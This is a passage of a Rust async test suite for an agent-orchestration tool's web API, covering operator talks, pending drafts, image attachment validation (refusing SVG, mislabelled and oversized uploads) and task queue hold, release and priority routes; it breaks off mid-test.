5820 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5826
5827 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5831 let tmp = TempDir::new().expect("tempdir");
5832 let repo = tmp.path().join("repo");
5833 std::fs::create_dir_all(&repo).expect("repo dir");
5834 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5835 let f = Fixture::with_repo(repo.clone()).await;
5836 (tmp, repo, f)
5837 }
5838
5839 #[tokio::test]
5840 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5841 let (_tmp, _repo, f) = talk_fixture().await;
5842
5843 let opened = f.post("/api/talks", None).await;
5846 assert_eq!(opened.status, 201, "{}", opened.body);
5847 let body = opened.json();
5848 assert_eq!(body["status"], "open");
5849 assert_eq!(
5850 body["turns"].as_array().unwrap().len(),
5851 0,
5852 "opening takes no agent turn: there is nothing yet to answer"
5853 );
5854
5855 let also_opened = f.post("/api/talks", Some("{}")).await;
5857 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5858
5859 let listed = f.get("/api/talks").await.json();
5860 assert_eq!(listed.as_array().unwrap().len(), 2);
5861 }
5862
5863 #[tokio::test]
5864 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5865 let f = Fixture::start().await;
5866 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5867 let queue = f.queue();
5868 let mut mine = Task::new(
5869 "rename the loader".to_owned(),
5870 "rename the loader".to_owned(),
5871 PathBuf::from("/repo/magi"),
5872 Source::Agent {
5873 run: talk_id.clone(),
5874 node: "chat".to_owned(),
5875 },
5876 );
5877 queue.put(&mut mine).expect("file the task");
5878 let mut theirs = Task::new(
5879 "unrelated".to_owned(),
5880 "unrelated".to_owned(),
5881 PathBuf::from("/repo/magi"),
5882 Source::Human,
5883 );
5884 queue.put(&mut theirs).expect("file the task");
5885
5886 let res = f.get(&format!("/api/talks/{talk_id}")).await;
5887 assert_eq!(res.status, 200, "{}", res.body);
5888 let body = res.json();
5889 assert_eq!(
5890 body["status"], "open",
5891 "filing a task does not close a talk"
5892 );
5893 let tasks = body["tasks"].as_array().expect("tasks array");
5894 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5895 assert_eq!(tasks[0]["id"], mine.id);
5896 }
5897
5898 #[tokio::test]
5899 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5900 let (_tmp, _repo, f) = talk_fixture().await;
5901 let id = f.post("/api/talks", None).await.json()["id"]
5902 .as_str()
5903 .expect("id")
5904 .to_owned();
5905
5906 let res = f
5907 .post(
5908 &format!("/api/talks/{id}/say"),
5909 Some(r#"{"text":"what does the queue module do?"}"#),
5910 )
5911 .await;
5912 assert_eq!(res.status, 202, "{}", res.body);
5913 let queued = res.json();
5914 let turns = queued["turns"].as_array().expect("turns array");
5915 assert_eq!(
5916 turns.len(),
5917 1,
5918 "the answer reflects only what is on disk the instant it is sent, \
5919 before the agent's turn - which can run for the whole of \
5920 `[graph] timeout_talk` - has a chance to land: {queued}"
5921 );
5922 assert_eq!(turns[0]["who"], "operator");
5923 assert_eq!(turns[0]["body"], "what does the queue module do?");
5924 assert_eq!(
5925 queued["thinking"], true,
5926 "the accepted response exposes the background turn claim: {queued}"
5927 );
5928
5929 let mut turns_after = 1;
5930 for _ in 0..SETTLE_STEPS {
5931 let detail = f.get(&format!("/api/talks/{id}")).await.json();
5932 turns_after = detail["turns"].as_array().expect("turns array").len();
5933 if turns_after == 2 {
5934 break;
5935 }
5936 tokio::time::sleep(Duration::from_millis(10)).await;
5937 }
5938 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5939 }
5940
5941 #[tokio::test]
5968 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
5969 let tmp = TempDir::new().expect("tempdir");
5970 let repo = tmp.path().join("repo");
5971 std::fs::create_dir_all(&repo).expect("repo dir");
5972 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5973 let home = TempDir::new().expect("temp home");
5974 let talks = Talks::at(home.path().join("talks"));
5975 let ui = Arc::new(
5976 Ui::new(
5977 Queue::at(home.path().join("queue")),
5978 Questions::at(home.path().join("questions")),
5979 talks.clone(),
5980 home.path().join("runs"),
5981 home.path().to_path_buf(),
5982 repo.clone(),
5983 )
5984 .with_worktrees_root(home.path().join("wt")),
5985 );
5986 let cfg = config_for(&repo).await.expect("discover config");
5987
5988 for delay in 0..40u32 {
5989 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5990 let id = talk.id.clone();
5991
5992 let handler = tokio::spawn(talk_say(
5993 State(Arc::clone(&ui)),
5994 Path(id.clone()),
5995 Ok(Json(NewTalkTurn {
5996 text: "what does the queue module do?".to_owned(),
5997 attachments: Vec::new(),
5998 })),
5999 ));
6000 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
6001 handler.abort();
6002 let _ = handler.await;
6005
6006 let mut turns = 0;
6007 for _ in 0..SETTLE_STEPS {
6008 if let Ok(fresh) = talks.get(&id) {
6009 turns = fresh.turns.len();
6010 if turns != 1 {
6011 break;
6012 }
6013 }
6014 tokio::time::sleep(Duration::from_millis(10)).await;
6015 }
6016 assert_ne!(
6017 turns, 1,
6018 "delay {delay}: talk {id} recorded the operator's turn but \
6019 the agent never answered - the reply task was never \
6020 started after the handler future was dropped"
6021 );
6022 }
6023 }
6024
6025 #[tokio::test]
6070 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
6071 let tmp = TempDir::new().expect("tempdir");
6072 let repo = tmp.path().join("repo");
6073 std::fs::create_dir_all(&repo).expect("repo dir");
6074 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6075 let home = TempDir::new().expect("temp home");
6076 let talks = Talks::at(home.path().join("talks"));
6077 let ui = Arc::new(
6078 Ui::new(
6079 Queue::at(home.path().join("queue")),
6080 Questions::at(home.path().join("questions")),
6081 talks.clone(),
6082 home.path().join("runs"),
6083 home.path().to_path_buf(),
6084 repo.clone(),
6085 )
6086 .with_worktrees_root(home.path().join("wt")),
6087 );
6088 let cfg = config_for(&repo).await.expect("discover config");
6089
6090 for attempt in 0..3u32 {
6091 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6092 let id = talk.id.clone();
6093 let turn_guard = ui
6096 .begin_talk_turn(&id)
6097 .expect("claim the turn")
6098 .expect("a fresh talk owes nobody a turn");
6099
6100 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
6101 let (release_tx, release_rx) = std::sync::mpsc::channel();
6102 ui.set_busy_queue_gate(BusyQueueGate {
6103 reached: reached_tx,
6104 release: release_rx,
6105 });
6106
6107 let handler = tokio::spawn(talk_say(
6108 State(Arc::clone(&ui)),
6109 Path(id.clone()),
6110 Ok(Json(NewTalkTurn {
6111 text: "what does the queue module do?".to_owned(),
6112 attachments: Vec::new(),
6113 })),
6114 ));
6115
6116 tokio::time::timeout(Duration::from_secs(5), reached_rx)
6121 .await
6122 .unwrap_or_else(|_| {
6123 panic!(
6124 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
6125 )
6126 })
6127 .expect("the busy branch dropped the gate without using it");
6128
6129 let running = talks.get(&id).expect("reload talk");
6136 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
6137
6138 handler.abort();
6142 let _ = handler.await;
6143
6144 let _ = release_tx.send(());
6150
6151 let mut fresh = talks.get(&id).expect("reload talk");
6154 for _ in 0..SETTLE_STEPS {
6155 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
6156 break;
6157 }
6158 tokio::time::sleep(Duration::from_millis(10)).await;
6159 fresh = talks.get(&id).expect("reload talk");
6160 }
6161 assert!(
6162 fresh.pending.is_empty() && fresh.turns.len() == 2,
6163 "attempt {attempt}: talk {id} left the operator's text queued \
6164 with no drainer - the reclaimed turn was dropped along with \
6165 the handler future (pending {:?}, {} turns)",
6166 fresh.pending,
6167 fresh.turns.len()
6168 );
6169 }
6170 }
6171
6172 #[tokio::test]
6173 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
6174 let (_tmp, _repo, f) = talk_fixture().await;
6175 let id = f.post("/api/talks", None).await.json()["id"]
6176 .as_str()
6177 .expect("id")
6178 .to_owned();
6179 let store = f.talks();
6180 let mut recovered = store.get(&id).expect("opened talk");
6181 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6182 .expect("persist pending draft without a live turn");
6183
6184 let edited = f
6185 .post(
6186 &format!("/api/talks/{id}/pending/edit"),
6187 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
6188 )
6189 .await;
6190 assert_eq!(edited.status, 200, "{}", edited.body);
6191 assert!(edited.json()["thinking"].as_bool().unwrap());
6192
6193 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
6194 for _ in 0..SETTLE_STEPS {
6195 if detail["turns"].as_array().expect("turns").len() == 2 {
6196 break;
6197 }
6198 tokio::time::sleep(Duration::from_millis(10)).await;
6199 detail = f.get(&format!("/api/talks/{id}")).await.json();
6200 }
6201 let turns = detail["turns"].as_array().expect("turns");
6202 assert_eq!(
6203 turns.len(),
6204 2,
6205 "the recovered draft must run once: {detail}"
6206 );
6207 assert_eq!(turns[0]["body"], "corrected");
6208 assert_eq!(detail["pending"], "");
6209 }
6210
6211 #[tokio::test]
6212 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
6213 let tmp = TempDir::new().expect("tempdir");
6214 let repo = tmp.path().join("repo");
6215 std::fs::create_dir_all(&repo).expect("repo dir");
6216 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6217 let f = Fixture::with_repo(repo).await;
6218 let id = f.post("/api/talks", None).await.json()["id"]
6219 .as_str()
6220 .expect("id")
6221 .to_owned();
6222 let store = f.talks();
6223 let mut recovered = store.get(&id).expect("opened talk");
6224 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6225 .expect("persist pending draft without a live turn");
6226
6227 let refused = f
6228 .post(
6229 &format!("/api/talks/{id}/say"),
6230 Some(r#"{"text":"new message"}"#),
6231 )
6232 .await;
6233 assert_eq!(refused.status, 409, "{}", refused.body);
6234 assert!(refused.body.contains("resume"), "{}", refused.body);
6235 let saved = store.get(&id).expect("draft remains after refusal");
6236 assert!(saved.turns.is_empty());
6237 assert_eq!(saved.pending, "saved before restart");
6238
6239 let say_path = format!("/api/talks/{id}/say");
6240 let (first, second) = tokio::join!(
6241 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
6242 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
6243 );
6244 assert_eq!(first.status, 409, "{}", first.body);
6245 assert_eq!(second.status, 409, "{}", second.body);
6246 let saved = store
6247 .get(&id)
6248 .expect("draft remains after concurrent refusals");
6249 assert!(saved.turns.is_empty());
6250 assert_eq!(saved.pending, "saved before restart");
6251
6252 let resumed = f
6253 .post(&format!("/api/talks/{id}/pending/resume"), None)
6254 .await;
6255 assert_eq!(resumed.status, 202, "{}", resumed.body);
6256 let duplicate = f
6257 .post(&format!("/api/talks/{id}/pending/resume"), None)
6258 .await;
6259 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
6260
6261 for _ in 0..SETTLE_STEPS {
6262 if store.get(&id).expect("talk").turns.len() == 2 {
6263 break;
6264 }
6265 tokio::time::sleep(Duration::from_millis(10)).await;
6266 }
6267 let finished = store.get(&id).expect("finished talk");
6268 assert_eq!(finished.turns.len(), 2, "{finished:?}");
6269 assert_eq!(finished.turns[0].body, "saved before restart");
6270 assert!(finished.pending.is_empty());
6271 }
6272
6273 #[tokio::test]
6274 async fn an_image_only_recovered_draft_resumes_without_text() {
6275 let (_tmp, _repo, f) = talk_fixture().await;
6276 let id = f.post("/api/talks", None).await.json()["id"]
6277 .as_str()
6278 .expect("id")
6279 .to_owned();
6280 let uploaded = f
6281 .post_bytes(
6282 &format!("/api/talks/{id}/attachments"),
6283 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
6284 PNG_BYTES,
6285 )
6286 .await;
6287 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6288 let attachment = f
6289 .talks()
6290 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
6291 .expect("attachment metadata")
6292 .expect("stored attachment");
6293 let store = f.talks();
6294 let mut recovered = store.get(&id).expect("opened talk");
6295 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
6296
6297 let resumed = f
6298 .post(&format!("/api/talks/{id}/pending/resume"), None)
6299 .await;
6300 assert_eq!(resumed.status, 202, "{}", resumed.body);
6301 for _ in 0..SETTLE_STEPS {
6302 if store.get(&id).expect("talk").turns.len() == 2 {
6303 break;
6304 }
6305 tokio::time::sleep(Duration::from_millis(10)).await;
6306 }
6307 let finished = store.get(&id).expect("finished talk");
6308 assert_eq!(finished.turns.len(), 2, "{finished:?}");
6309 assert!(finished.turns[0].body.is_empty());
6310 assert_eq!(finished.turns[0].attachments.len(), 1);
6311 assert!(finished.pending_attachments.is_empty());
6312 }
6313
6314 #[tokio::test]
6315 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
6316 let (_tmp, _repo, f) = talk_fixture().await;
6317 let id = f.post("/api/talks", None).await.json()["id"]
6318 .as_str()
6319 .expect("id")
6320 .to_owned();
6321 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6322 assert_eq!(closed.status, 200, "{}", closed.body);
6323 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6324 .expect("serialize closed talk");
6325 for (path, body) in [
6326 (format!("/api/talks/{id}/pending/resume"), None),
6327 (
6328 format!("/api/talks/{id}/pending/clear"),
6329 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
6330 ),
6331 (
6332 format!("/api/talks/{id}/pending/edit"),
6333 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
6334 ),
6335 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
6336 ] {
6337 let response = f.post(&path, body).await;
6338 assert_eq!(response.status, 409, "{}", response.body);
6339 }
6340 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6341 .expect("serialize closed talk");
6342 assert_eq!(
6343 after_clear, before_clear,
6344 "clear must not rewrite a closed talk"
6345 );
6346 }
6347
6348 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
6351
6352 #[tokio::test]
6353 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
6354 let tmp = TempDir::new().expect("tempdir");
6355 let repo = tmp.path().join("repo");
6356 std::fs::create_dir_all(&repo).expect("repo dir");
6357 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6358 let f = Fixture::with_repo(repo).await;
6359 let id_a = f.post("/api/talks", None).await.json()["id"]
6360 .as_str()
6361 .unwrap()
6362 .to_owned();
6363 let id_b = f.post("/api/talks", None).await.json()["id"]
6364 .as_str()
6365 .unwrap()
6366 .to_owned();
6367
6368 let a = f
6369 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
6370 .await;
6371 assert_eq!(a.status, 202, "{}", a.body);
6372 assert_eq!(a.json()["thinking"], true);
6373 let b = f
6374 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
6375 .await;
6376 assert_eq!(b.status, 202, "{}", b.body);
6377 assert_eq!(b.json()["thinking"], true);
6378
6379 let listed = f.get("/api/talks").await.json();
6380 for id in [&id_a, &id_b] {
6381 let view = listed
6382 .as_array()
6383 .unwrap()
6384 .iter()
6385 .find(|talk| talk["id"] == *id)
6386 .unwrap();
6387 assert_eq!(view["thinking"], true, "{listed}");
6388 }
6389 let repeated = f
6390 .post(
6391 &format!("/api/talks/{id_a}/say"),
6392 Some(r#"{"text":"again"}"#),
6393 )
6394 .await;
6395 assert_eq!(repeated.status, 202, "{}", repeated.body);
6396 assert_eq!(repeated.json()["pending"], "again");
6397 }
6398
6399 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
6402
6403 #[tokio::test]
6404 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
6405 let f = Fixture::start().await;
6406 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
6407
6408 let res = f
6409 .post_bytes(
6410 &format!("/api/talks/{id}/attachments"),
6411 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6412 PNG_BYTES,
6413 )
6414 .await;
6415 assert_eq!(res.status, 201, "{}", res.body);
6416 let body = res.json();
6417 assert_eq!(body["name"], "shot.png");
6418 assert_eq!(body["mime"], "image/png");
6419 assert_eq!(body["bytes"], PNG_BYTES.len());
6420 let att_id = body["id"].as_str().expect("id").to_owned();
6421 assert_eq!(
6422 att_id.len(),
6423 32,
6424 "the id must never be a client-suppliable path: {att_id}"
6425 );
6426
6427 let got = f
6428 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
6429 .await;
6430 assert_eq!(got.status, 200, "{}", got.body);
6431 assert_eq!(got.header("content-type"), Some("image/png"));
6432 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
6433 assert_eq!(got.bytes, PNG_BYTES);
6434 }
6435
6436 #[tokio::test]
6437 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
6438 let f = Fixture::start().await;
6439 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
6440
6441 let svg = f
6444 .post_bytes(
6445 &format!("/api/talks/{id}/attachments"),
6446 &[("Content-Type", "image/svg+xml")],
6447 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
6448 )
6449 .await;
6450 assert!(
6451 (400..500).contains(&svg.status),
6452 "svg must be refused: {} {}",
6453 svg.status,
6454 svg.body
6455 );
6456 assert!(svg.body.contains("SVG"), "{}", svg.body);
6457
6458 let text = f
6459 .post_bytes(
6460 &format!("/api/talks/{id}/attachments"),
6461 &[("Content-Type", "text/plain")],
6462 b"just some text",
6463 )
6464 .await;
6465 assert!(
6466 (400..500).contains(&text.status),
6467 "an unlisted type must be refused: {} {}",
6468 text.status,
6469 text.body
6470 );
6471
6472 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
6475 let big = f
6476 .post_bytes(
6477 &format!("/api/talks/{id}/attachments"),
6478 &[("Content-Type", "image/png")],
6479 &oversized,
6480 )
6481 .await;
6482 assert_eq!(
6483 big.status,
6484 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
6485 "{}",
6486 big.body
6487 );
6488 }
6489
6490 #[tokio::test]
6491 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
6492 let f = Fixture::start().await;
6493 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
6494
6495 let res = f
6498 .post_bytes(
6499 &format!("/api/talks/{id}/attachments"),
6500 &[("Content-Type", "image/png")],
6501 b"<html>not a picture</html>",
6502 )
6503 .await;
6504 assert!((400..500).contains(&res.status), "{}", res.body);
6505 }
6506
6507 #[tokio::test]
6508 async fn an_unknown_attachment_id_is_a_404() {
6509 let f = Fixture::start().await;
6510 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
6511
6512 let res = f
6513 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
6514 .await;
6515 assert_eq!(res.status, 404, "{}", res.body);
6516 }
6517
6518 #[tokio::test]
6519 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
6520 let f = Fixture::start().await;
6521 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
6522
6523 let uploaded = f
6524 .post_bytes(
6525 &format!("/api/talks/{id}/attachments"),
6526 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6527 PNG_BYTES,
6528 )
6529 .await;
6530 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6531 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6532
6533 let res = f
6534 .post(
6535 &format!("/api/talks/{id}/say"),
6536 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
6537 )
6538 .await;
6539 assert_eq!(res.status, 202, "{}", res.body);
6540 let queued = res.json();
6541 let turns = queued["turns"].as_array().expect("turns array");
6542 assert_eq!(
6543 turns.len(),
6544 1,
6545 "an empty body with an attachment is still a turn: {queued}"
6546 );
6547 assert_eq!(turns[0]["who"], "operator");
6548 assert_eq!(turns[0]["body"], "");
6549 let atts = turns[0]["attachments"]
6550 .as_array()
6551 .expect("attachments array");
6552 assert_eq!(atts.len(), 1);
6553 assert_eq!(atts[0]["id"], att_id);
6554 assert_eq!(atts[0]["mime"], "image/png");
6555
6556 let on_disk = f.talks().get(&id).expect("get");
6559 assert_eq!(on_disk.turns[0].attachments.len(), 1);
6560 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
6561 }
6562
6563 #[tokio::test]
6564 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
6565 let f = Fixture::start().await;
6566 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
6567
6568 let res = f
6569 .post(
6570 &format!("/api/talks/{id}/say"),
6571 Some(&format!(
6572 r#"{{"text":"hi","attachments":["{}"]}}"#,
6573 "a".repeat(32)
6574 )),
6575 )
6576 .await;
6577 assert!((400..500).contains(&res.status), "{}", res.body);
6578 assert!(res.body.contains("unknown attachment"), "{}", res.body);
6579
6580 let on_disk = f.talks().get(&id).expect("get");
6581 assert!(
6582 on_disk.turns.is_empty(),
6583 "a rejected attachment id must not partially record the turn: {:?}",
6584 on_disk.turns
6585 );
6586 }
6587
6588 #[tokio::test]
6589 async fn talk_close_makes_the_talk_refuse_further_turns() {
6590 let f = Fixture::start().await;
6591 let id = seed_talk(&f, "20260904-014455-cd34", "open");
6592
6593 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6594 assert_eq!(closed.status, 200, "{}", closed.body);
6595 assert_eq!(closed.json()["status"], "closed");
6596
6597 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6599 assert_eq!(closed_again.status, 200);
6600 assert_eq!(closed_again.json()["status"], "closed");
6601
6602 let said = f
6603 .post(
6604 &format!("/api/talks/{id}/say"),
6605 Some(r#"{"text":"too late"}"#),
6606 )
6607 .await;
6608 assert_eq!(said.status, 409, "{}", said.body);
6609 }
6610
6611 #[tokio::test]
6612 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6613 let (_tmp, _repo, f) = talk_fixture().await;
6614 let id = f.post("/api/talks", None).await.json()["id"]
6615 .as_str()
6616 .expect("id")
6617 .to_owned();
6618 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6619 assert_eq!(closed.status, 200, "{}", closed.body);
6620
6621 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6622 assert_eq!(reopened.status, 200, "{}", reopened.body);
6623 assert_eq!(reopened.json()["status"], "open");
6624
6625 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6627 assert_eq!(reopened_again.status, 200);
6628 assert_eq!(reopened_again.json()["status"], "open");
6629
6630 let said = f
6631 .post(
6632 &format!("/api/talks/{id}/say"),
6633 Some(r#"{"text":"still there?"}"#),
6634 )
6635 .await;
6636 assert_eq!(
6637 said.status, 202,
6638 "a reopened talk accepts turns again: {}",
6639 said.body
6640 );
6641 }
6642
6643 #[tokio::test]
6644 async fn talk_reopen_on_an_unknown_id_is_404() {
6645 let f = Fixture::start().await;
6646 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6647 assert_eq!(res.status, 404, "{}", res.body);
6648 }
6649
6650 #[tokio::test]
6651 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6652 let f = Fixture::start().await;
6653 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6654
6655 let deleted = f.delete(&format!("/api/talks/{id}")).await;
6656 assert_eq!(deleted.status, 204, "{}", deleted.body);
6657
6658 let after = f.get(&format!("/api/talks/{id}")).await;
6659 assert_eq!(after.status, 404, "{}", after.body);
6660
6661 let listed = f.get("/api/talks").await.json();
6662 assert!(
6663 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6664 "a deleted talk must not linger in the list: {listed}"
6665 );
6666 }
6667
6668 #[tokio::test]
6669 async fn talk_delete_on_an_unknown_id_is_404() {
6670 let f = Fixture::start().await;
6671 let res = f.delete("/api/talks/nonexistent-id").await;
6672 assert_eq!(res.status, 404, "{}", res.body);
6673 }
6674
6675 #[tokio::test]
6676 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6677 let f = Fixture::start().await;
6678 let queue = f.queue();
6679 let mut task = Task::new(
6680 "spent".to_owned(),
6681 "Try again".to_owned(),
6682 PathBuf::from("/repo/magi"),
6683 Source::Human,
6684 );
6685 task.start("20260902-140502-bbbb".to_owned());
6686 task.fail("agent gave up", 9);
6687 queue.put(&mut task).expect("file the task");
6688
6689 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6690 assert_eq!(held.status, 200);
6691 assert_eq!(held.json()["status_str"], "held");
6692
6693 let released = f
6694 .post(&format!("/api/queue/{}/release", task.id), None)
6695 .await;
6696 assert_eq!(released.status, 200);
6697 assert_eq!(released.json()["status_str"], "queued");
6698 assert_eq!(
6699 released.json()["attempts"],
6700 0,
6701 "release is a real second chance, not an instant re-hold"
6702 );
6703 assert_eq!(
6704 queue.get(&task.id).expect("reload").status,
6705 TaskStatus::Queued,
6706 "the change is on disk, not only in the reply"
6707 );
6708 assert!(
6709 !f.home
6710 .path()
6711 .join("queue")
6712 .join(format!("{}.lock", task.id))
6713 .exists(),
6714 "the claim the mutation took is released again"
6715 );
6716 }
6717
6718 #[tokio::test]
6719 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6720 let f = Fixture::start().await;
6721 let queue = f.queue();
6722 let mut task = Task::new(
6723 "busy".to_owned(),
6724 "Running right now".to_owned(),
6725 PathBuf::from("/repo/magi"),
6726 Source::Human,
6727 );
6728 queue.put(&mut task).expect("file the task");
6729 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6730
6731 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6732
6733 assert_eq!(res.status, 409);
6734 assert_eq!(
6735 queue.get(&task.id).expect("reload").status,
6736 TaskStatus::Queued,
6737 "the refused hold changed nothing"
6738 );
6739 }
6740
6741 #[tokio::test]
6742 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6743 let f = Fixture::start().await;
6744 let queue = f.queue();
6745 let mut task = Task::new(
6746 "waiting on the migration".to_owned(),
6747 "Do the thing".to_owned(),
6748 PathBuf::from("/repo/magi"),
6749 Source::Human,
6750 );
6751 queue.put(&mut task).expect("file the task");
6752
6753 let held = f
6754 .post(
6755 &format!("/api/queue/{}/hold", task.id),
6756 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6757 )
6758 .await;
6759 assert_eq!(held.status, 200, "{}", held.body);
6760 assert_eq!(held.json()["status_str"], "held");
6761 assert_eq!(
6762 held.json()["hold_reason"],
6763 "waiting for 20260101-000000-aaaa to land"
6764 );
6765
6766 let listed = f.get("/api/queue").await.json();
6767 assert_eq!(
6768 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6769 "the card reads the reason off the same list route"
6770 );
6771
6772 let mut plain = Task::new(
6775 "no reason given".to_owned(),
6776 "Do another thing".to_owned(),
6777 PathBuf::from("/repo/magi"),
6778 Source::Human,
6779 );
6780 queue.put(&mut plain).expect("file the task");
6781 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6782 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6783 assert!(held_plain.json()["hold_reason"].is_null());
6784
6785 let released = f
6786 .post(&format!("/api/queue/{}/release", task.id), None)
6787 .await;
6788 assert_eq!(released.status, 200);
6789 assert!(
6790 released.json()["hold_reason"].is_null(),
6791 "a release must clear the reason so the next hold does not inherit it"
6792 );
6793 }
6794
6795 #[tokio::test]
6796 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6797 let f = Fixture::start().await;
6798 let queue = f.queue();
6799 let mut older = Task::new(
6800 "filed first".to_owned(),
6801 "x".to_owned(),
6802 PathBuf::from("/repo/magi"),
6803 Source::Human,
6804 );
6805 older.id = "20260101-000001-aaaa".to_owned();
6806 let mut newer = Task::new(
6807 "filed second".to_owned(),
6808 "x".to_owned(),
6809 PathBuf::from("/repo/magi"),
6810 Source::Human,
6811 );
6812 newer.id = "20260101-000002-bbbb".to_owned();
6813 queue.put(&mut older).expect("file older");
6814 queue.put(&mut newer).expect("file newer");
6815
6816 let before = f.get("/api/queue").await.json();
6819 assert_eq!(before[0]["id"], newer.id);
6820 assert_eq!(before[1]["id"], older.id);
6821
6822 let raised = f
6826 .post(
6827 &format!("/api/queue/{}/priority", older.id),
6828 Some(r#"{"priority":10}"#),
6829 )
6830 .await;
6831 assert_eq!(raised.status, 200, "{}", raised.body);
6832 assert_eq!(raised.json()["priority"], 10);
6833
6834 let after = f.get("/api/queue").await.json();
6835 let names: Vec<&str> = after
6836 .as_array()
6837 .unwrap()
6838 .iter()
6839 .map(|t| t["id"].as_str().unwrap())
6840 .collect();
6841 assert_eq!(names[0], older.id, "the raised task now sorts first");
6845 }
6846
6847 #[tokio::test]
6848 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
